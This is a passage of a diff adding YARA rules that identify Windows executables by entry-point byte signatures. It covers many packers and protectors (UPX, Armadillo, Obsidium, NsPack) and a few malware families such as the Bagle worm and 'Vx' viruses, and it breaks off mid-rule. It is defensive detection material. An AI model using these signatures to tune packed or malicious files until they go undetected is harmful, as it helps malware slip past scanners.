+	rule PseudoSigner02PEIntro10Anorganix
+	{
+	strings:
+			$a0 = { 8B 04 24 9C 60 E8 14 00 00 00 5D 81 ED 0A 45 40 90 80 BD 67 44 40 90 90 0F 85 48 FF ED 0A }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov410SiliconRealmsToolworks
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 F8 8E 4C 00 68 D0 EA 49 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4C 00 33 D2 8A D4 89 15 7C A5 4C 00 8B C8 81 E1 FF 00 00 00 89 0D 78 A5 4C 00 C1 E1 08 03 CA 89 0D 74 A5 4C 00 C1 E8 10 A3 70 A5 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AverCryptor102betaos1r1s
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED 0C 17 40 00 8B BD 33 18 40 00 8B 8D 3B 18 40 00 B8 51 18 40 00 03 C5 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 37 18 40 00 33 C0 51 33 C9 66 B9 F7 00 66 83 F9 00 74 49 8B 57 0C 03 95 37 18 40 00 8B 85 3F 18 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 8B F1 E8 27 00 00 00 8B C8 5F B8 51 18 40 00 03 C5 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 2F 18 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 23 F7 8B C6 5F 5E C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule FSGv131
+	{
+	strings:
+			$a0 = { BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 BB ?? ?? ?? ?? B2 80 A4 B6 80 FF D3 73 F9 33 C9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FSGv133
+	{
+	strings:
+			$a0 = { BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule HidePE101BGCorp
+	{
+	strings:
+			$a0 = { BA ?? ?? ?? 00 B8 ?? ?? ?? ?? 89 02 83 C2 04 B8 ?? ?? ?? ?? 89 02 83 C2 04 B8 ?? ?? ?? ?? 89 02 83 C2 F8 FF E2 0D 0A 2D 3D 5B 20 48 69 64 65 50 45 20 62 79 20 42 47 43 6F 72 70 20 5D 3D 2D }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXEStealthv11
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED FB 1D 40 00 B9 7B 09 00 00 8B F7 AC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Thinstallvxx
+	{
+	strings:
+			$a0 = { B8 EF BE AD DE 50 6A ?? FF 15 10 19 40 ?? E9 AD FF FF FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Obsidium1200ObsidiumSoftware
+	{
+	strings:
+			$a0 = { EB 02 ?? ?? E8 3F 1E 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PrivatePersonalPackerPPP103ConquestOfTroycom
+	{
+	strings:
+			$a0 = { E8 19 00 00 00 90 90 E8 68 00 00 00 FF 35 2C 37 00 10 E8 ED 01 00 00 6A 00 E8 2E 04 00 00 E8 41 04 00 00 A3 74 37 00 10 6A 64 E8 5F 04 00 00 E8 30 04 00 00 A3 78 37 00 10 6A 64 E8 4E 04 00 00 E8 1F 04 00 00 A3 7C 37 00 10 A1 74 37 00 10 8B 1D 78 37 00 10 2B D8 8B 0D 7C 37 00 10 2B C8 83 FB 64 73 0F 81 F9 C8 00 00 00 73 07 6A 00 E8 D9 03 00 00 C3 6A 0A 6A 07 6A 00 E8 D3 03 00 00 A3 20 37 00 10 50 6A 00 E8 DE 03 00 00 A3 24 37 00 10 FF 35 20 37 00 10 6A 00 E8 EA 03 00 00 A3 30 37 00 10 FF 35 24 37 00 10 E8 C2 03 00 00 A3 28 37 00 10 8B 0D 30 37 00 10 8B 3D 28 37 00 10 EB 09 49 C0 04 39 55 80 34 39 24 0B C9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VIRUSIWormBagle
+	{
+	strings:
+			$a0 = { 6A 00 E8 95 01 00 00 E8 9F E6 FF FF 83 3D 03 50 40 00 00 75 14 68 C8 AF 00 00 E8 01 E1 FF FF 05 88 13 00 00 A3 03 50 40 00 68 5C 57 40 00 68 F6 30 40 00 FF 35 03 50 40 00 E8 B0 EA FF FF E8 3A FC FF FF 83 3D 54 57 40 00 00 74 05 E8 F3 FA FF FF 68 E8 03 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule RLPackv118BasicLZMAAp0x
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule StonesPEEncryptorv20
+	{
+	strings:
+			$a0 = { 53 51 52 56 57 55 E8 ?? ?? ?? ?? 5D 81 ED 42 30 40 ?? FF 95 32 35 40 ?? B8 37 30 40 ?? 03 C5 2B 85 1B 34 40 ?? 89 85 27 34 40 ?? 83 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Upackv029betaDwing
+	{
+	strings:
+			$a0 = { E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 29 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule PseudoSigner02BJFNT11bAnorganix
+	{
+	strings:
+			$a0 = { EB 01 EA 9C EB 01 EA 53 EB 01 EA 51 EB 01 EA 52 EB 01 EA 56 90 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UPXScramblerRCv1x
+	{
+	strings:
+			$a0 = { 90 61 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECrypt15BitShapeSoftware
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED 55 20 40 00 B9 7B 09 00 00 8D BD 9D 20 40 00 8B F7 AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? AA E2 CC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Upackv021BetaDwing
+	{
+	strings:
+			$a0 = { BE 88 01 ?? ?? AD 8B F8 ?? ?? ?? ?? 33 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UPXFreakV01HMX0101
+	{
+	strings:
+			$a0 = { BE ?? ?? ?? ?? 83 C6 01 FF E6 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UnnamedScrambler20p0ke
+	{
+	strings:
+			$a0 = { 55 8B EC B9 0A 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 1C 2F 40 00 E8 C8 F1 FF FF 33 C0 55 68 FB 33 40 00 64 FF 30 64 89 20 BA 0C 34 40 00 B8 E4 54 40 00 E8 EF FE FF FF 8B D8 85 DB 75 07 6A 00 E8 5A F2 FF FF BA E8 54 40 00 8B C3 8B 0D E4 54 40 00 E8 74 E2 FF FF C7 05 20 6B 40 00 09 00 00 00 BB 98 69 40 00 C7 45 EC E8 54 40 00 C7 45 E8 31 57 40 00 C7 45 E4 43 60 40 00 BE D3 6A 40 00 BF E0 6A 40 00 83 7B 04 00 75 0B 83 3B 00 0F 86 AA 03 00 00 EB 06 0F 8E A2 03 00 00 8B 03 8B D0 B8 0C 6B 40 00 E8 C1 EE FF FF B8 0C 6B 40 00 E8 6F EE FF FF 8B D0 8B 45 EC 8B 0B E8 0B E2 FF FF 6A 00 6A 1E 6A 00 6A 2C A1 0C 6B 40 00 E8 25 ED FF FF 8D 55 E0 E8 15 FE FF FF 8B 55 E0 B9 10 6B 40 00 A1 0C 6B 40 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule HACKSTOPv100
+	{
+	strings:
+			$a0 = { FA BD ?? ?? FF E5 6A 49 48 0C ?? E4 ?? 3F 98 3F }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ExeShield36wwwexeshieldcom
+	{
+	strings:
+			$a0 = { B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC E9 FB C8 4F 1B 22 7C B4 C8 0D BD 71 A9 C8 1F 5F B1 29 8F 11 73 8F 00 D1 88 87 A9 3F 4D 00 6C 3C BF C0 80 F7 AD 35 23 EB 84 82 6F }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Pe123v200644
+	{
+	strings:
+			$a0 = { 8B C0 EB 01 34 60 EB 01 2A 9C EB 02 EA C8 E8 0F 00 00 00 EB 03 3D 23 23 EB 01 4A EB 01 5B C3 8D 40 00 53 EB 01 6C EB 01 7E EB 01 8F E8 15 01 00 00 50 E8 67 04 00 00 EB 01 9A 8B D8 FF D3 5B C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 55 8B EC 60 8B 4D 10 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SDProtectorV11xRandyLi
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 88 88 88 08 64 A1 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule BobPackv100BoBBobSoft
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 8B 0C 24 89 CD 83 E9 06 81 ED ?? ?? ?? ?? E8 3D 00 00 00 89 85 ?? ?? ?? ?? 89 C2 B8 5D 0A 00 00 8D 04 08 E8 E4 00 00 00 8B 70 04 01 D6 E8 76 00 00 00 E8 51 01 00 00 E8 01 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule DBPEv210
+	{
+	strings:
+			$a0 = { 9C 6A 10 73 0B EB 02 C1 51 E8 06 ?? ?? ?? C4 11 73 F7 5B CD 83 C4 04 EB 02 99 EB FF 0C 24 71 01 E8 79 E0 7A 01 75 83 C4 04 9D EB 01 75 68 5F 20 40 ?? E8 B0 EF FF FF 72 03 73 01 75 BE }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NsPackv31NorthStar
+	{
+	strings:
+			$a0 = { 9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? FF FF 8A 03 3C 00 74 10 8D 9D ?? ?? FF FF 8A 03 3C 01 0F 84 42 02 00 00 C6 03 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 }
+	$a1 = { 9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? FF FF 8A 03 3C 00 74 10 8D 9D ?? ?? FF FF 8A 03 3C 01 0F 84 42 02 00 00 C6 03 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 68 03 00 00 03 D9 50 53 E8 B1 02 00 00 61 8B 36 8B FD 03 BD ?? ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 36 01 13 8B 33 03 7B 04 57 51 52 53 FF B5 ?? ?? FF FF FF B5 ?? ?? FF FF 8B D6 8B CF 8B 85 ?? ?? FF FF 05 AA 05 00 00 FF D0 5B 5A 59 5F 83 F9 00 74 05 83 C3 08 EB C5 68 00 80 00 00 6A 00 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1
+	}
+	
+	rule SVKProtectorV13XPavolCerven
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 ?? ?? 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 0C 61 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 18 61 00 00 5D 6A FF FF 95 10 61 00 00 44 65 62 75 67 67 65 72 20 6F 72 20 74 6F 6F 6C 20 66 6F 72 20 6D 6F 6E 69 74 6F 72 69 6E 67 20 64 65 74 65 63 74 65 64 21 21 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AHTeamEPProtector03fakePECrypt102FEUERRADER
+	{
+	strings:
+			$a0 = { 90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner02WATCOMCCEXEAnorganix
+	{
+	strings:
+			$a0 = { E9 00 00 00 00 90 90 90 90 57 41 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PENinja
+	{
+	strings:
+			$a0 = { 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UpackV036Dwing
+	{
+	strings:
+			$a0 = { 0B 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 18 10 00 00 10 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 10 00 00 00 02 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? 14 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 FF 76 08 FF 76 0C BE 1C 01 }
+	$a1 = { BE ?? ?? ?? ?? FF 36 E9 C3 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule yodasProtectorv101AshkbizDanehkar
+	{
+	strings:
+			$a0 = { 55 8B EC 53 56 57 E8 03 00 00 00 EB 01 ?? E8 86 00 00 00 E8 03 00 00 00 EB 01 ?? E8 79 00 00 00 E8 03 00 00 00 EB 01 ?? E8 A4 00 00 00 E8 03 00 00 00 EB 01 ?? E8 97 00 00 00 E8 03 00 00 00 EB 01 ?? E8 2D 00 00 00 E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UPX050070
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 58 83 E8 3D }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxVCLencrypted
+	{
+	strings:
+			$a0 = { 01 B9 ?? ?? 81 34 ?? ?? 46 46 E2 F8 C3 }
+	$a1 = { 01 B9 ?? ?? 81 35 ?? ?? 47 47 E2 F8 C3 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule VxXRCV1015
+	{
+	strings:
+			$a0 = { E8 ?? ?? 5E 83 ?? ?? 53 51 1E 06 B4 99 CD 21 80 FC 21 ?? ?? ?? ?? ?? 33 C0 50 8C D8 48 8E C0 1F A1 ?? ?? 8B }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RLPackv118BasicDLLaPLibAp0x
+	{
+	strings:
+			$a0 = { 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PellesC290300400DLLX86CRTLIB
+	{
+	strings:
+			$a0 = { 55 89 E5 53 56 57 8B 5D 0C 8B 75 10 BF 01 00 00 00 85 DB 75 10 83 3D ?? ?? ?? ?? 00 75 07 31 C0 E9 ?? ?? ?? ?? 83 FB 01 74 05 83 FB 02 75 ?? 85 FF 74 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UnnamedScrambler13Bp0ke
+	{
+	strings:
+			$a0 = { 55 8B EC B9 08 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 98 56 00 10 E8 48 EB FF FF 33 C0 55 68 AC 5D 00 10 64 FF 30 64 89 20 6A 00 68 BC 5D 00 10 68 C4 5D 00 10 6A 00 E8 23 EC FF FF E8 C6 CE FF FF 6A 00 68 BC 5D 00 10 68 ?? ?? ?? ?? 6A 00 E8 0B EC FF FF E8 F2 F4 FF FF B8 08 BC 00 10 33 C9 BA 04 01 00 00 E8 C1 D2 FF FF 6A 00 68 BC 5D 00 10 68 E4 5D 00 10 6A 00 E8 E2 EB FF FF 68 04 01 00 00 68 08 BC 00 10 6A 00 FF 15 68 77 00 10 6A 00 68 BC 5D 00 10 68 FC 5D 00 10 6A 00 E8 BD EB FF FF BA 10 5E 00 10 B8 70 77 00 10 E8 CA F3 FF FF 85 C0 0F 84 F7 05 00 00 BA 74 77 00 10 8B 0D 70 77 00 10 E8 FE CD FF FF 6A 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule HyingsPEArmor075exeHyingCCG
+	{
+	strings:
+			$a0 = { 00 00 00 00 00 00 00 00 ?? ?? 00 00 00 00 00 00 ?? ?? 01 00 00 00 00 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 74 ?? ?? ?? 00 00 00 00 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule SimbiOZPolyCryptorvxxExtranger
+	{
+	strings:
+			$a0 = { 55 60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AVPACKv120
+	{
+	strings:
+			$a0 = { 50 1E 0E 1F 16 07 33 F6 8B FE B9 ?? ?? FC F3 A5 06 BB ?? ?? 53 CB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	rule Armadillov220
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 10 12 41 00 68 F4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule XPack167
+	{
+	strings:
+			$a0 = { B8 8C D3 15 33 75 81 3E E8 0F 00 9A E8 F9 FF 9A 9C EB 01 9A 59 80 CD 01 51 9D EB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NullsoftInstallSystemv1xx
+	{
+	strings:
+			$a0 = { 55 8B EC 83 EC 2C 53 56 33 F6 57 56 89 75 DC 89 75 F4 BB A4 9E 40 00 FF 15 60 70 40 00 BF C0 B2 40 00 68 04 01 00 00 57 50 A3 AC B2 40 00 FF 15 4C 70 40 00 56 56 6A 03 56 6A 01 68 00 00 00 80 57 FF 15 9C 70 40 00 8B F8 83 FF FF 89 7D EC 0F 84 C3 00 00 00 }
+	$a1 = { 83 EC 0C 53 56 57 FF 15 20 71 40 00 05 E8 03 00 00 BE 60 FD 41 00 89 44 24 10 B3 20 FF 15 28 70 40 00 68 00 04 00 00 FF 15 28 71 40 00 50 56 FF 15 08 71 40 00 80 3D 60 FD 41 00 22 75 08 80 C3 02 BE 61 FD 41 00 8A 06 8B 3D F0 71 40 00 84 C0 74 0F 3A C3 74 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule BobSoftMiniDelphiBoBBobSoft
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 F0 53 56 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B8 }
+	$a1 = { 55 8B EC 83 C4 F0 53 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B8 ?? ?? ?? ?? E8 }
+	$a2 = { 55 8B EC 83 C4 F0 B8 ?? ?? ?? ?? E8 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point) or $a2 at (pe.entry_point)
+	}
+	
+	
+	rule UltraProV10SafeNet
+	{
+	strings:
+			$a0 = { A1 ?? ?? ?? ?? 85 C0 0F 85 3B 06 00 00 55 56 C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PECompactv1242v1243
+	{
+	strings:
+			$a0 = { EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? D2 09 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SimplePack121build0909Method2bagie
+	{
+	strings:
+			$a0 = { 4D 5A 90 EB 01 00 52 E9 8A 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule Obsidium13037ObsidiumSoftware
+	{
+	strings:
+			$a0 = { EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 26 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 01 ?? 58 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03 ?? ?? ?? E8 23 27 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxPhoenix927
+	{
+	strings:
+			$a0 = { E8 00 00 5E 81 C6 ?? ?? BF 00 01 B9 04 00 F3 A4 E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Petite14c199899IanLuck
+	{
+	strings:
+			$a0 = { 66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC 8D A0 54 BC 00 00 50 8B C3 8D 90 ?? 16 00 00 68 00 00 ?? ?? 51 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 D8 14 00 00 8B 44 24 18 F6 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule eXPressorV10CGSoftLabs
+	{
+	strings:
+			$a0 = { E9 35 14 00 00 E9 31 13 00 00 E9 98 12 00 00 E9 EF 0C 00 00 E9 42 13 00 00 E9 E9 02 00 00 E9 EF 0B 00 00 E9 1B 0D 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RECryptv07xCruddRETh2
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 55 81 04 24 0A 00 00 00 C3 8B F5 81 C5 ?? ?? 00 00 89 6D 34 89 75 38 8B 7D 38 81 E7 00 FF FF FF 81 C7 48 00 00 00 47 03 7D 60 8B 4D 5C 83 F9 00 7E 0F 8B 17 33 55 58 89 17 83 C7 04 83 C1 FC EB EC 8B }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PassEXEv20
+	{
+	strings:
+			$a0 = { 06 1E 0E 0E 07 1F BE ?? ?? B9 ?? ?? 87 14 81 ?? ?? ?? EB ?? C7 ?? ?? ?? 84 00 87 ?? ?? ?? FB 1F 58 4A }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RECryptv07xCruddRETh1
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 61 60 E8 00 00 00 00 5D 55 81 04 24 0A 00 00 00 C3 8B F5 81 C5 ?? ?? 00 00 89 6D 34 89 75 38 8B 7D 38 81 E7 00 FF FF FF 81 C7 48 00 00 00 47 03 7D 60 8B 4D 5C 83 F9 00 7E 0F 8B }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WIBUKeyV410Ahttpwibucomus
+	{
+	strings:
+			$a0 = { F7 05 ?? ?? ?? ?? FF 00 00 00 75 12 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Mew501NorthFoxHCC
+	{
+	strings:
+			$a0 = { BE 5B 00 40 00 AD 91 AD 93 53 AD 96 56 5F AC C0 C0 ?? 04 ?? C0 C8 ?? AA E2 F4 C3 00 ?? ?? 00 ?? ?? ?? 00 00 10 40 00 4D 45 57 20 30 2E 31 20 62 79 20 4E 6F 72 74 68 66 6F 78 00 4D 45 57 20 30 2E 31 20 62 79 20 4E 6F 72 74 68 66 6F 78 00 4D 45 57 20 30 2E 31 20 62 79 20 4E 6F 72 74 68 66 6F 78 00 4D 45 57 20 30 2E 31 20 62 79 20 4E 6F 72 74 68 66 6F 78 00 4D }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01ExeSmasherAnorganix
+	{
+	strings:
+			$a0 = { 9C FE 03 90 60 BE 90 90 41 90 8D BE 90 10 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 FE 0B E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UnnamedScrambler12C12Dp0ke
+	{
+	strings:
